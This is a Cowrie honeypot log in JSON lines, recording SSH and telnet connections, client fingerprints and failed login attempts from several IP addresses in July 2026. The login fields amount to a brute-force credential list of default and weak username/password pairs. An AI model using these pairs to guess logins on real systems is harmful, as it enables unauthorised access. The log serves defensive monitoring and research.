{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43760,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f19ab32873e","protocol":"ssh","message":"New connection: 165.154.137.186:43760 (10.17.0.5:22) [session: 6f19ab32873e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:41.232278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:41.236430Z","src_ip":"165.154.137.186","session":"6f19ab32873e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:41.352721Z","src_ip":"165.154.137.186","session":"4c29dc25e8b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:41.482183Z","src_ip":"165.154.137.186","session":"c329bbb84cda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:41.498661Z","src_ip":"165.154.137.186","session":"6f19ab32873e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:42.117017Z","src_ip":"165.154.137.186","session":"4c29dc25e8b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:42.146352Z","src_ip":"91.92.40.4","session":"4a638a7aac4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:42.286566Z","src_ip":"165.154.137.186","session":"6f19ab32873e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:42.738778Z","src_ip":"165.154.137.186","session":"c329bbb84cda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:43.372121Z","src_ip":"165.154.137.186","session":"4c29dc25e8b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:43.549716Z","src_ip":"165.154.137.186","session":"6f19ab32873e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":39184,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba3b6df81f5a","protocol":"ssh","message":"New connection: 162.241.33.238:39184 (159.203.135.109:22) [session: ba3b6df81f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:43.829309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:43.833251Z","src_ip":"162.241.33.238","session":"ba3b6df81f5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:43.857449Z","src_ip":"162.241.33.238","session":"ba3b6df81f5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"siacoin456","message":"login attempt [root/siacoin456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:43.931552Z","src_ip":"162.241.33.238","session":"ba3b6df81f5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:44.958457Z","src_ip":"162.241.33.238","session":"ba3b6df81f5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":34436,"dst_ip":"10.17.0.5","dst_port":22,"session":"463566d4841f","protocol":"ssh","message":"New connection: 165.154.137.186:34436 (10.17.0.5:22) [session: 463566d4841f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:55.096740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:55.101026Z","src_ip":"165.154.137.186","session":"463566d4841f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:55.353053Z","src_ip":"165.154.137.186","session":"463566d4841f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43872,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1986091f2db","protocol":"ssh","message":"New connection: 165.154.137.186:43872 (10.17.0.5:22) [session: a1986091f2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:55.580770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:55.584996Z","src_ip":"165.154.137.186","session":"a1986091f2db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:55.858179Z","src_ip":"165.154.137.186","session":"a1986091f2db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:55.942281Z","src_ip":"8.210.75.243","session":"2da7cbfa6077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:56.101133Z","src_ip":"165.154.137.186","session":"463566d4841f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:56.679110Z","src_ip":"165.154.137.186","session":"a1986091f2db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:57.351886Z","src_ip":"165.154.137.186","session":"463566d4841f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:01:57.954345Z","src_ip":"165.154.137.186","session":"a1986091f2db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":36932,"dst_ip":"10.17.0.5","dst_port":22,"session":"f28e904d348a","protocol":"ssh","message":"New connection: 101.36.111.155:36932 (10.17.0.5:22) [session: f28e904d348a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:01.118292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:01.124387Z","src_ip":"101.36.111.155","session":"f28e904d348a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:01.341779Z","src_ip":"101.36.111.155","session":"f28e904d348a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!xsw2CDE#","message":"login attempt [root/ZAQ!xsw2CDE#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:02.250991Z","src_ip":"101.36.111.155","session":"f28e904d348a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:03.471966Z","src_ip":"101.36.111.155","session":"f28e904d348a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45190,"dst_ip":"10.17.0.5","dst_port":22,"session":"e517a73dd491","protocol":"ssh","message":"New connection: 165.154.137.186:45190 (10.17.0.5:22) [session: e517a73dd491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:10.924132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:10.927340Z","src_ip":"165.154.137.186","session":"e517a73dd491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:11.197971Z","src_ip":"165.154.137.186","session":"e517a73dd491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":34442,"dst_ip":"10.17.0.5","dst_port":22,"session":"55f6be675dd4","protocol":"ssh","message":"New connection: 165.154.137.186:34442 (10.17.0.5:22) [session: 55f6be675dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:11.274277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:11.277720Z","src_ip":"165.154.137.186","session":"55f6be675dd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:11.551100Z","src_ip":"165.154.137.186","session":"55f6be675dd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:12.001527Z","src_ip":"165.154.137.186","session":"e517a73dd491","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:12.357146Z","src_ip":"165.154.137.186","session":"55f6be675dd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:13.273735Z","src_ip":"165.154.137.186","session":"e517a73dd491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":44138,"dst_ip":"159.203.135.109","dst_port":23,"session":"734cf10901fc","protocol":"telnet","message":"New connection: 128.199.209.169:44138 (159.203.135.109:23) [session: 734cf10901fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:13.586197Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:13.628827Z","src_ip":"165.154.137.186","session":"55f6be675dd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45212,"dst_ip":"10.17.0.5","dst_port":22,"session":"1adc287af190","protocol":"ssh","message":"New connection: 165.154.137.186:45212 (10.17.0.5:22) [session: 1adc287af190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:17.845098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:02:17.849614Z","src_ip":"165.154.137.186","session":"1adc287af190","protocol":"ssh"}
